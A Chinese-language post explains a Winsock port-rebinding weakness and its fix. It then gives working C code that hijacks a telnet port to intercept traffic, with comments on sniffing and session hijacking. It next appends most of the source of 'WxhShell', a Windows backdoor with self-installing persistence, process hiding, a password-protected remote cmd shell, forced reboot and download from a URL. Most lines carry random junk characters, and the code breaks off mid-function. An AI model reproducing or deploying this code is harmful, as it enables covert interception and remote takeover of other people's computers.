在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
>1Z"5F7= s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
cQU;PH] -Z"4W saddr.sin_family = AF_INET;
N]A# ecm "La;$7ds saddr.sin_addr.s_addr = htonl(INADDR_ANY);
r!mRUw'u ?l0Qi bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
lir=0oq< T }}2J/sj 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
'+PKGmRW `<C<[JP:o 这意味着什么?意味着可以进行如下的攻击:
9{toPED 6Yj{%
G 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
lM6pYYEq= Gmz^vpQ]t 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
0@
Y#P|QF AG N/kx 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
to'7o8Z +3)r
szb72 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
'r?ULft1 E#B-JLMGl 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
?l0eU@rwQ E7:xPNU 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
Iux3f+H ^`&'u_B!+ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
Z7;V}[wie CJ IuMsZ #include
zw/AZLS #include
zR" cj #include
ZSC*{dD$E #include
:!%V Sem DWORD WINAPI ClientThread(LPVOID lpParam);
HZyA\FS int main()
oN7SmP_ {
Z}J5sifr WORD wVersionRequested;
1qRquY DWORD ret;
O
*sU|jeO WSADATA wsaData;
EhcJE;S) BOOL val;
`\kihNkJn3 SOCKADDR_IN saddr;
a5D|#9 SOCKADDR_IN scaddr;
%71i&T F int err;
HN7CcE+l SOCKET s;
+[7~:e}DZ SOCKET sc;
d1<";b2Jt^ int caddsize;
r;#"j%z HANDLE mt;
;CYoc4e DWORD tid;
_fHC+lwN wVersionRequested = MAKEWORD( 2, 2 );
2{-29bq err = WSAStartup( wVersionRequested, &wsaData );
bdg6B7%Q if ( err != 0 ) {
^#9385 printf("error!WSAStartup failed!\n");
zBF~:Uc`B return -1;
u_(~zs.N] }
;tjOEmIiU saddr.sin_family = AF_INET;
`JySuP2~/ 36"n7 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
$|N6I {213/@, saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
NAGM3{\5v$ saddr.sin_port = htons(23);
(bsx|8[ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
|&; ^?M {
QL?_FwZL printf("error!socket failed!\n");
R'>!1\?Iq return -1;
ON :t"z5 }
fkA+:j~z_ val = TRUE;
mq`/nAmt //SO_REUSEADDR选项就是可以实现端口重绑定的
6_CP?X+T if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
1[%3kY-h {
4&iQo' printf("error!setsockopt failed!\n");
m2(>KMbi return -1;
S,#1^S }
.ZTvOm'mB^ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
Ez3fL&* //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
{w@qFE'b //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
F9K%f&0 a xye-Z\-t if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
gjS|3ED {
'!HTE`Aj ret=GetLastError();
Ds9)e&yYrb printf("error!bind failed!\n");
` 2lS@ return -1;
K"#$",}= }
(Ou%0
KW listen(s,2);
;Shu while(1)
l A ^1} {
b9bIvjm_ caddsize = sizeof(scaddr);
[&)]-2w2 //接受连接请求
OUX7
*_ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
uYh!04u if(sc!=INVALID_SOCKET)
02;jeZ#z {
akj<*, mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
a=z] tTs4 if(mt==NULL)
M(%H {
-`O{iHfM|P printf("Thread Creat Failed!\n");
f1 ; break;
VD;*UkapZx }
^HKXm#vAB }
oaIk1U;g CloseHandle(mt);
SE'Im }
/9`4f " closesocket(s);
u47<J?!Q WSACleanup();
E&M(QX5 return 0;
c;l!i- }
vObZ|>.J~O DWORD WINAPI ClientThread(LPVOID lpParam)
MmF&jd-= {
70'OS:J=\ SOCKET ss = (SOCKET)lpParam;
B*,6;lCjX SOCKET sc;
AO#9XDEM unsigned char buf[4096];
19!?oeOU SOCKADDR_IN saddr;
PX:#+bq1 long num;
ACszx\[K3 DWORD val;
,06Sm]4L, DWORD ret;
'Y38VOI% //如果是隐藏端口应用的话,可以在此处加一些判断
w"hd_8cO //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
BU`X_Z1) saddr.sin_family = AF_INET;
;%tFi saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
odv2 (\ saddr.sin_port = htons(23);
S
'a- E![ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
kiTC)S=]) {
Ji4p6$ .j- printf("error!socket failed!\n");
m,.Y:2?*V return -1;
+VIA@`4 }
p3s i\Fm! val = 100;
<,i4Ua if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
1`cH
E Aa {
2t= =<x ret = GetLastError();
s9- qR_ return -1;
9`in
r.: }
X9x`i if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
W06aj ~7Z {
D,#UJPyg ret = GetLastError();
H$![]Ujq return -1;
waMF~#PJlt }
}7 N6nZj` if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
NxP(&M( {
&:&'70Ya printf("error!socket connect failed!\n");
*z0!=>( closesocket(sc);
'zyw-1 closesocket(ss);
i|:!I)(lh return -1;
e3I""D{)[= }
/jv/qk3i while(1)
5.rAxdP {
D|uvgu2 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
GppCrQ%Ra| //如果是嗅探内容的话,可以再此处进行内容分析和记录
,\4]uZ< //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
c_8&4 num = recv(ss,buf,4096,0);
<WXVUEea if(num>0)
e~)[I! n send(sc,buf,num,0);
3>O|i2U else if(num==0)
%:3XYO.w- break;
09kR2(nsW/ num = recv(sc,buf,4096,0);
ww2mL
<B if(num>0)
+%dXB&9x|Z send(ss,buf,num,0);
> 0^<<=m else if(num==0)
EX,>V,.UV break;
w h$bDTCj }
U>S closesocket(ss);
q}U+BTCZ closesocket(sc);
7|,L{~ return 0 ;
j.E=WLKV* }
05d0p|}, A3]A5s6 qTsy'y;Z ==========================================================
zdN[Uc+1Bd +kSu{Tc 下边附上一个代码,,WXhSHELL
(_FU3ZW! O(^h_ ==========================================================
rT2Njy1 xo>0j# #include "stdafx.h"
"\4W])30 =2\2Sp #include <stdio.h>
+O}Ik.w #include <string.h>
F!+1w(b: #include <windows.h>
Exb64n-_= #include <winsock2.h>
abo=v<mR #include <winsvc.h>
.}IW!$
dq #include <urlmon.h>
O}M-6!%<, W[2]$TwT #pragma comment (lib, "Ws2_32.lib")
Xa[k=qFo #pragma comment (lib, "urlmon.lib")
=j.TDv'^nd e]4$H.dP
#define MAX_USER 100 // 最大客户端连接数
#U:|-
a.> #define BUF_SOCK 200 // sock buffer
! M^O\C) #define KEY_BUFF 255 // 输入 buffer
P6+ B!pY nI:M!j5s` #define REBOOT 0 // 重启
5(>=};r+ #define SHUTDOWN 1 // 关机
">}6i9o s9Hxiw@D #define DEF_PORT 5000 // 监听端口
-^_2{i /7}pReUj #define REG_LEN 16 // 注册表键长度
"i0>>@NR' #define SVC_LEN 80 // NT服务名长度
CsZ~LQ=DB s6H.Q$3L // 从dll定义API
y4-kuMYR typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
B;k'J:-" typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
Q'OtXs 80 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
EBy7wU`S typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
$1yy;IyR ]az(w&vqg2 // wxhshell配置信息
{4J. struct WSCFG {
U1 _"D+XB int ws_port; // 监听端口
VbX P7bZ char ws_passstr[REG_LEN]; // 口令
]Lv3XMa int ws_autoins; // 安装标记, 1=yes 0=no
o[Ffa#sE char ws_regname[REG_LEN]; // 注册表键名
|A&;m}(Mt char ws_svcname[REG_LEN]; // 服务名
8$IKQNS char ws_svcdisp[SVC_LEN]; // 服务显示名
H/o_? qK char ws_svcdesc[SVC_LEN]; // 服务描述信息
K43%9=sM char ws_passmsg[SVC_LEN]; // 密码输入提示信息
J(]|)?x2 int ws_downexe; // 下载执行标记, 1=yes 0=no
eHr0], char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
b A+_/1C char ws_filenam[SVC_LEN]; // 下载后保存的文件名
$Q*R/MY ,rMf;/[ };
sVHF\{< 4*X Nk;Dx // default Wxhshell configuration
,,Qg"C struct WSCFG wscfg={DEF_PORT,
s= %3`3Fo "xuhuanlingzhe",
KqI:g*H'x7 1,
w6BBu0,KC "Wxhshell",
D{(}&8a9 "Wxhshell",
xfRp_;l+R "WxhShell Service",
^KhJBM /Z "Wrsky Windows CmdShell Service",
Y`g o V "Please Input Your Password: ",
:\^b6"}8 1,
D ,kxB~ "
http://www.wrsky.com/wxhshell.exe",
#`iEb iSq "Wxhshell.exe"
HE&)N
clY };
Fm`*j/rq N@d~gE&^ // 消息定义模块
~/rD_K char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
od=hCQ1> char *msg_ws_prompt="\n\r? for help\n\r#>";
orjtwF>^ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
p9"dm{ char *msg_ws_ext="\n\rExit.";
sxT&T=7 char *msg_ws_end="\n\rQuit.";
o`YBz~2 char *msg_ws_boot="\n\rReboot...";
'{
<RX char *msg_ws_poff="\n\rShutdown...";
x?S86,RW char *msg_ws_down="\n\rSave to ";
FX!KX/OE) ~.T|n = char *msg_ws_err="\n\rErr!";
!)bZ.1o char *msg_ws_ok="\n\rOK!";
ZiPeP x?L0R{?WW char ExeFile[MAX_PATH];
gmVN(K}SR5 int nUser = 0;
a2P)@R HANDLE handles[MAX_USER];
NjIPHM$g int OsIsNt;
{o~TbnC B $u/n SERVICE_STATUS serviceStatus;
_=HaE&
SERVICE_STATUS_HANDLE hServiceStatusHandle;
|dR}S!fmG 3Q,&D'];[ // 函数声明
'g%:/lwA int Install(void);
MT!Y!*-5
int Uninstall(void);
O>L,G)g int DownloadFile(char *sURL, SOCKET wsh);
wO]e%BTO int Boot(int flag);
3t-STk? void HideProc(void);
JCcYFtW int GetOsVer(void);
_Q+c'q Zkl int Wxhshell(SOCKET wsl);
8H7#[?F void TalkWithClient(void *cs);
L\#YFf int CmdShell(SOCKET sock);
Up@^C" int StartFromService(void);
eha|cAq int StartWxhshell(LPSTR lpCmdLine);
+u|"q+p Ar<5UnT VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
NtM>`5{? VOID WINAPI NTServiceHandler( DWORD fdwControl );
g+B7~Z5, ]N 9N][n // 数据结构和表定义
[H*JFKpx SERVICE_TABLE_ENTRY DispatchTable[] =
&g;!n&d zP {
.jJD$FC {wscfg.ws_svcname, NTServiceMain},
k2
Ju*W& {NULL, NULL}
UF-&L:s[ };
v~SM"ky# s4fO4.bn m // 自我安装
RJD{l+ int Install(void)
4aArxJ {
@ki|#ro char svExeFile[MAX_PATH];
(
v*xW. HKEY key;
LG8h@HY&L strcpy(svExeFile,ExeFile);
}U8v
~wcd ,lH
}Ba02F // 如果是win9x系统,修改注册表设为自启动
wN.S] if(!OsIsNt) {
~u&gU1} if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
YZ>L_$:q RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
x$q} lJv_ RegCloseKey(key);
z)M#9oAM if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
XP)^81i| RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
9)wYSz' RegCloseKey(key);
sSU|N;"Y return 0;
wG49|!l6T }
254V)(t^QM }
\-yI
dKj }
VpJKH\)Rt( else {
b? o lk>\6o: // 如果是NT以上系统,安装为系统服务
]EKg)E SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
[gT}<W if (schSCManager!=0)
JU17]gQ {
0B(s+#s SC_HANDLE schService = CreateService
h/ n( (
fG1iq<~ schSCManager,
N# }A9t wscfg.ws_svcname,
v,iZnANZ&P wscfg.ws_svcdisp,
8?iI;( SERVICE_ALL_ACCESS,
@eJ8wf] SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
5,
$6mU#= SERVICE_AUTO_START,
OMK,L:poC SERVICE_ERROR_NORMAL,
JlYZ\ svExeFile,
@<P2di NULL,
n~UI47 NULL,
wH?)ZL NULL,
yx Om=V NULL,
8xENzTR NULL
^2-
<XD) );
WO.u{vW]' if (schService!=0)
VgVDTWs7 {
=p_*lC%N CloseServiceHandle(schService);
TVcA%]y{; CloseServiceHandle(schSCManager);
E!ndXz 59 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
7?yS>(VmT strcat(svExeFile,wscfg.ws_svcname);
K T0t4XPM if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
AJ%E.+@=r RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
"AUSgVE+h RegCloseKey(key);
u9~5U9]O%6 return 0;
A1/@KC"&{G }
:&wb+tV }
":
vGs_$ CloseServiceHandle(schSCManager);
y@!M<#SEzG }
2 {?]W/&fS }
;j%I1k%A b$klm6nMvm return 1;
(ODwdN7; }
JwbZ`Z*w !p+54w\ 2 // 自我卸载
4-.W~C'Q int Uninstall(void)
WGz)-IB!PE {
zjA]Tr HKEY key;
]qqgEZ1!Y rnZ$Qk-H if(!OsIsNt) {
aqEZhMy if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
fk,Vry RegDeleteValue(key,wscfg.ws_regname);
b=r 3WkB6 RegCloseKey(key);
X8ulaa if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
d#E&,^@M RegDeleteValue(key,wscfg.ws_regname);
!hq2AY&H) RegCloseKey(key);
7(1`,Y
return 0;
%_W4\ }
XHU$&t`7>g }
vu0Ue }
-8^qtB else {
<-k! C7S\4rDJ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
,40OCd! if (schSCManager!=0)
],SQD3~9 {
3tZIL SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
CFh9@Nx if (schService!=0)
jh oA6I {
fz^j3'!\ if(DeleteService(schService)!=0) {
$Wj= V CloseServiceHandle(schService);
_f0AV;S:vd CloseServiceHandle(schSCManager);
/:F^*] return 0;
M/6Z,oOU }
6 ]x?2P% CloseServiceHandle(schService);
.yy-jf/ }
?C[?dg{n CloseServiceHandle(schSCManager);
E4 eXfu }
14 & KE3` }
^i%S}VK GS>[A b+ return 1;
d#v@NuO6
h }
CIIjZ)T T`!R
ki%~ // 从指定url下载文件
yIL=jzm`7 int DownloadFile(char *sURL, SOCKET wsh)
cuN ]}=D {
tQ{/9bN?P HRESULT hr;
;+wB!/k, char seps[]= "/";
,*iA38d.! char *token;
bqE'9GI char *file;
}>hn char myURL[MAX_PATH];
nq{/fD(2 char myFILE[MAX_PATH];
dO82T3T LJ[zF~4# strcpy(myURL,sURL);
B)Y[~4o token=strtok(myURL,seps);
MOD&3>NI while(token!=NULL)
=3X>Ur {
M<Wi:r: file=token;
F_*']:p token=strtok(NULL,seps);
W q<t+E[ }
,Iyc0 .j:,WF<"l5 GetCurrentDirectory(MAX_PATH,myFILE);
FPY k`D strcat(myFILE, "\\");
tkctwjD strcat(myFILE, file);
$/M-@3wro send(wsh,myFILE,strlen(myFILE),0);
Z
i6s0Uck send(wsh,"...",3,0);
V8/d27\ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
-US:a8` if(hr==S_OK)
zz*PAYl. return 0;
[8Pt$5]^ else
FY'0?CT$ return 1;
Q~]oN x1eC r_ }
(%fQhQ ]u5TvI,C // 系统电源模块
Hi09?AX int Boot(int flag)
QH-CZ6M {
eJo" Z HANDLE hToken;
{<ShUN TOKEN_PRIVILEGES tkp;
Rv&"h_"t jg?UwR& if(OsIsNt) {
4"2%mx: OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
bX$z)]KKu LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
WRD
z*Zf tkp.PrivilegeCount = 1;
{c*$i^T tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
@l CG)Ix< AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
LWM<[8wJ4 if(flag==REBOOT) {
ya&=UoI if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
WkuCnT return 0;
jOV6% }
sa8O<Ab else {
*/e$S[5 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
"0!h-bQN return 0;
yF)J7a:U }
zjUQ] }
Gt&yz"?D else {
%"f85VfZ if(flag==REBOOT) {
9Q1%+zjjMq if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
sg,\!' return 0;
` &A`&-nc= }
E,m|E]WP else {
pX_ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
Dd1k? return 0;
<~dfp }
QG*hQh
}
aA4RC0' iAH,f5T return 1;
[k$GUU,jY }
lWc[Q1 nDvfb*\ // win9x进程隐藏模块
sc]#T)xG void HideProc(void)
qefp3&ls {
QKP
#wR
=wX;OK|U(^ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
>3/mV<g f if ( hKernel != NULL )
'f{13-#X@ {
q(qm3OxYo pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
c= t4 gf ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
1vo3aF FreeLibrary(hKernel);
(n k g }
Tg^8a,Lt K.yc[z)un return;
-Hm"Dx }
.8QhJHwd ug]2wftlQ // 获取操作系统版本
fR[8O\U~ int GetOsVer(void)
J~KO#` {
cgG*7E OSVERSIONINFO winfo;
.h
<=C&Yg winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
fcdXj_u GetVersionEx(&winfo);
G
T~rr*X if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
}`L;.9 return 1;
= -oP,$k else
yr},pB return 0;
p^Ey6,!8]D }
m u9,vH fL|9/sojz // 客户端句柄模块
yr+QV:oVA int Wxhshell(SOCKET wsl)
f1:>H.m`
{
-Cvd3%Jje SOCKET wsh;
|vd|;" ` struct sockaddr_in client;
\Yj_U'2"i DWORD myID;
<p<6!tdO N_
ODr]L while(nUser<MAX_USER)
Dl.<(/ {
R>"pJbS;L int nSize=sizeof(client);
L<dh\5#p9Y wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
pbG-uH^ if(wsh==INVALID_SOCKET) return 1;
N|mggz JPTLh{/ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
J <z
^C if(handles[nUser]==0)
)F hbN@3 closesocket(wsh);
VJ#ys_W else
tfHr'Qy BC nUser++;
IsT}T}p,t }
NCg("n,jx WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
2XyyU}.$ Bj{J&{ return 0;
z>+CMH5L) }
F
lVG, Z M5*Ln-qt(a // 关闭 socket
lFuW8G,-f@ void CloseIt(SOCKET wsh)
k@fxs]Y_L {
)r"R closesocket(wsh);
?6*\M nUser--;
`%|3c ExitThread(0);
1?)h-aN }
%ly&~&0
bo/U5p // 客户端请求句柄
R}(Rv3>Xx void TalkWithClient(void *cs)
uLv {
.&5 3sJ0{ R1hmJ SOCKET wsh=(SOCKET)cs;
A]iT
uu5 p char pwd[SVC_LEN];
kK6t|Yn& char cmd[KEY_BUFF];
e lM<S3 char chr[1];
UHV"<9tk int i,j;
\gT({XU? q !}~c while (nUser < MAX_USER) {
vZQraY nJ R,.qQF\* if(wscfg.ws_passstr) {
yuq o ^i if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
lw8t#_P //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
Jm=3%H //ZeroMemory(pwd,KEY_BUFF);
>G1]#'6; i=0;
<b~~X`Z while(i<SVC_LEN) {
VSO(DCr"L ,V!Wo4M // 设置超时
F +5
5p8 fd_set FdRead;
, MqoX-+ struct timeval TimeOut;
rLeQBp' FD_ZERO(&FdRead);
43=)akJi FD_SET(wsh,&FdRead);
YpZuAJm<2_ TimeOut.tv_sec=8;
~2[kCuu TimeOut.tv_usec=0;
T
g(\7Kq int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
e2%mD.I if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
0f_`;{ GS>YfJ&DZ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
.5SYN-@ pwd
=chr[0]; @(6P L^I
if(chr[0]==0xd || chr[0]==0xa) { iqoMQ7%
pwd=0; tw 3zw`o:
break; owa&HW/_
} sOz
{spA
i++; H9;IA>
} uQ
]ZMc
<QgpePyoN
// 如果是非法用户,关闭 socket sc-+?i
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); !F?j'[s8]
} r0f&n;0U4
d8Cd4qIXX
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); >}Mw"
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `o{_+Li9
c=-qbG0`
while(1) { 1"t9x.
8YPX8d8u
ZeroMemory(cmd,KEY_BUFF); mxH63$R
LGtw4'yr
// 自动支持客户端 telnet标准 ]w*` }
j=0; a_VWgPVdDS
while(j<KEY_BUFF) { butBS
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -oZw+ge}
cmd[j]=chr[0]; T#e|{ZCbq
if(chr[0]==0xa || chr[0]==0xd) { N3Q
.4?
z9
cmd[j]=0; Z>/
*q2
break; CZ^
,bad
} ]"O*&
j++; ~md06"AYJ
} h8k\~/iJ
DoBQ$Ke p
// 下载文件 4j,6t|T
if(strstr(cmd,"http://")) { :v45Ls4J
send(wsh,msg_ws_down,strlen(msg_ws_down),0); $WRRCB/A6
if(DownloadFile(cmd,wsh)) %b h:c5
send(wsh,msg_ws_err,strlen(msg_ws_err),0); <Pf4[q&wM
else L*rCUv `
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D\-DsT.H
} .f[z_%ar
else { Gf!c
I~HA
ad,k
switch(cmd[0]) { Yp3 y%n
Te3 ?z
// 帮助 y(a>Y! dgU
case '?': { all2?neK
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); XE0b9q954
break; re4z>O*
} @tRDKPh
// 安装 3C;;z
case 'i': { 6xr%xk2E
if(Install()) z t
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;S&anC#E
else 2H] 7 =j
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); FUL'=Xo
break; ^P.U_2&
} ".pQM.T
// 卸载
1=X1<@*
case 'r': { qx0F*EH|
if(Uninstall()) A[F@rUZp
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0a!|*Z
else W8-vF++R
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t3v_o4`&
break; s`yg?CR`,
} N]ebKe
// 显示 wxhshell 所在路径 WXf[W
case 'p': { LF{8hC[
char svExeFile[MAX_PATH]; m}beT~FT_
strcpy(svExeFile,"\n\r"); ^mut-@ N9
strcat(svExeFile,ExeFile); !F Zg'
9
send(wsh,svExeFile,strlen(svExeFile),0); C0^r]^$Z
break; $EdL^Q2KAy
} fU.z_T[@
// 重启 (_N(K`4#W
case 'b': { U9\w)D|+eE
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); DdeKZ)8
if(Boot(REBOOT)) ]Ee$ulJ02
send(wsh,msg_ws_err,strlen(msg_ws_err),0); eT2Tg5Etc
else { #op0|:/N
closesocket(wsh); ?5%o-hB|
ExitThread(0); n-GoG(s..b
} Aeq^s
break; s?Gv/&
} T;,,!
// 关机 c:B` <
case 'd': { I,Jb_)H&t
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); oykb8~u}}
if(Boot(SHUTDOWN)) k2#|^N
send(wsh,msg_ws_err,strlen(msg_ws_err),0); wT,=C'
else { va"bw!zXo*
closesocket(wsh); 9@nd>B
ExitThread(0); * vqUOh
} l?xd3Z@7[
break; Bq-}BN?pz
} V8pZr+AJ
// 获取shell alsD TQ'
case 's': { \IqCC h
CmdShell(wsh); <<Z, 1{3F
closesocket(wsh); nYBa+>3BDf
ExitThread(0); ^nFP#J)_5
break; ?1LRR
;-x
} ^q|W@uG-(
// 退出 HHs!6`R$0c
case 'x': { e;|$nw-
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); XBcbLF
CloseIt(wsh); B)P]C5KRD
break; v5{2hCdt
} Ef@Et(f_mQ
// 离开 Uaj_,qb(
case 'q': { .F$cR^i5u
send(wsh,msg_ws_end,strlen(msg_ws_end),0); bFH`wLW
closesocket(wsh); (Y^tky$9
WSACleanup(); Y%}N@ ,lT
exit(1); bV"t;R9
break; Pj!f^MN
} P%!=Rj^ 2m
} Cm"S=gV
} /cvMp#<]
V:+z 3)qF
// 提示信息 8 0o'=E}"
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); VZ
7(6?W
} )$d~HA@B
} );n/G
*!dA/sid
return; zXbA$c
} Tv
5J
$ 1m}lXk
// shell模块句柄 T)ISDK4>S"
int CmdShell(SOCKET sock) M[Nv>
{ 4_$.gO
STARTUPINFO si; K7nyQGS
ZeroMemory(&si,sizeof(si)); >
+00[T
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; _]eyt_
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; qmvQd8|XR
PROCESS_INFORMATION ProcessInfo; N\rL ~4/
char cmdline[]="cmd"; iHvWJ<"jR
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); YPCitGBl
return 0; (S?DKPnR
} uotW[L9
}-u%6KZ
// 自身启动模式 cF?0=un
int StartFromService(void) )V_;]9<wt
{ B$hog_=s
typedef struct <num!@2D
{ {lgiH+:
DWORD ExitStatus; ,]Xn9W
DWORD PebBaseAddress; o-;/x)
